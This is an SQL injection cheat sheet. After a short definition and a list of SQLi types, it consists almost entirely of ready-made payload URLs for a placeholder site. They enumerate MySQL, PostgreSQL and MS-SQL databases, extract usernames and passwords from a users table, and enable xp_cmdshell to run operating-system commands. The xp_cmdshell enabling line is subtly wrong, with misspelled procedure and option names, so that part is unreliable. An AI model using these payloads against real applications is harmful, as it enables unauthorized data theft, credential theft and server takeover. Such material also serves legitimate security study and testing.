SQL injection

Introduction

It is an attack in which an attacker inserts untrusted data in the application that results in revealing sensitive information of the database.

SQL Injection (SQLi) is a code injection attack where an attacker manipulates the data being sent to the server to execute malicious SQL statements to control a web application’s database server, thereby accessing, modifying and deleting unauthorized data. This attack is mainly used to take over database servers.

In-band SQLi (Classic SQLi)
Error-based SQLi
Union-based SQLi
Inferential SQLi (Blind SQLi)
Boolean-based (content-based) Blind SQLi
Time-based Blind SQLi
Out-of-band SQLi

How to exploit

SQLI tricks

GET

Error-Based

Simple test

Adding a simpe quote '

Example: http://vulnerable-website.com/Less-1/?id=5'

Fuzzing

Sorting columns to find maximum column

http://vulnerable-website.com/Less-1/?id=-1 order by 1

http://vulnerable-website.com/Less-1/?id=-1 order by 2

http://vulnerable-website.com/Less-1/?id=-1 order by 3

(until it stop returning errors)

Finding what column is injectable

mysql http://vulnerable-website.com/Less-1/?id=-1 union select 1, 2, 3 (using the same amount of columns you got on the previous step)

postgresql http://vulnerable-website.com/Less-1/?id=-1 union select NULL, NULL, NULL (using the same amount of columns you got on the previous step)

one of the columns will be printed with the respective number

Finding version

http://vulnerable-website.com/Less-1/?id=-1 union select 1, 2, version() mysql http://vulnerable-website.com/Less-1/?id=-1 union select NULL, NULL, version() postgress

Finding database name

http://vulnerable-website.com/Less-1/?id=-1 union select 1,2, database() mysql

http://vulnerable-website.com/Less-1/?id=-1 union select NULL,NULL, database() postgres

Finding usernames logged in

http://vulnerable-website.com/Less-1/?id=-1 union select 1, 2, current_user() mysql

Finding databases

http://vulnerable-website.com/Less-1/?id=-1 union select 1, 2, schema_name from information_schema.schemata mysql

http://vulnerable-website.com/Less-1/?id=-1 union select 1, 2, datname from pg_database postgres

Finding table names from a database

http://vulnerable-website.com/Less-1/?id=-1 union select 1, 2, table_name from information_schema.tables where table_schema="database_name" mysql

http://vulnerable-website.com/Less-1/?id=-1 union select 1, 2, tablename from pg_tables where table_catalog="database_name" postgres

Finding column names from a table

http://vulnerable-website.com/Less-1/?id=-1 union select 1, 2, column_name from information_schema.columns where table_schema="database_name" and table_name="tablename" mysql

http://vulnerable-website.com/Less-1/?id=-1 union select 1, 2, column_name from information_schema.columns where table_catalog="database_name" and table_name="tablename" postgres

Concatenate

Example:

http://vulnerable-website.com/Less-1/?id=-1 union select 1, 2, login from users; http://vulnerable-website.com/Less-1/?id=-1 union select 1, 2, password from users;

in one query

http://vulnerable-website.com/Less-1/?id=-1 union select 1, 2, concat(login,':',password) from users; mysql http://vulnerable-website.com/Less-1/?id=-1 union select 1, 2, login||':'||password from users; postgres

Error Based SQLI (USUALLY MS-SQL)

Current user

http://vulnerable-website.com/Less-1/?id=-1 or 1 in (SELECT TOP 1 CAST(user_name() as varchar(4096)))--

DBMS version

http://vulnerable-website.com/Less-1/?id=-1 or 1 in (SELECT TOP 1 CAST(@@version as varchar(4096)))--

Database name

http://vulnerable-website.com/Less-1/?id=-1 or db_name(0)=0 --

Tables from a database

http://vulnerable-website.com/Less-1/?id=-1 or 1 in (SELECT TOP 1 CAST(name as varchar(4096)) FROM dbname..sysobjects where xtype='U')--

http://vulnerable-website.com/Less-1/?id=-1 or 1 in (SELECT TOP 1 CAST(name as varchar(4096)) FROM dbname..sysobjects where xtype='U' AND name NOT IN ('previouslyFoundTable',...))--

Columns within a table

http://vulnerable-website.com/Less-1/?id=-1 or 1 in (SELECT TOP 1 CAST(dbname..syscolumns.name as varchar(4096)) FROM dbname..syscolumns, dbname..sysobjects WHERE dbname..syscolumns.id=dbname..sysobjects.id AND dbname..sysobjects.name = 'tablename')--

remember to change dbname and tablename accordingly with the given situation after each iteration a new column name will be found, make sure add it to ** previously found column name ** separated by comma as on the next sample

Actual data

http://vulnerable-website.com/Less-1/?id=-1 or 1 in (SELECT TOP 1 CAST(columnName as varchar(4096)) FROM tablename)--

after each iteration a new column name will be found, make sure add it to ** previously found column name ** separated by comma as on the next sample

http://vulnerable-website.com/Less-1/?id=-1 or 1 in (SELECT TOP 1 CAST(columnName as varchar(4096)) FROM tablename AND name NOT IN('previously found row data'))--

Shell commands

EXEC master..xp_cmdshell <command>

you need yo be 'sa' user

Enabling shell commands

EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_congigure 'xp_shell', 1; RECONFIGURE;
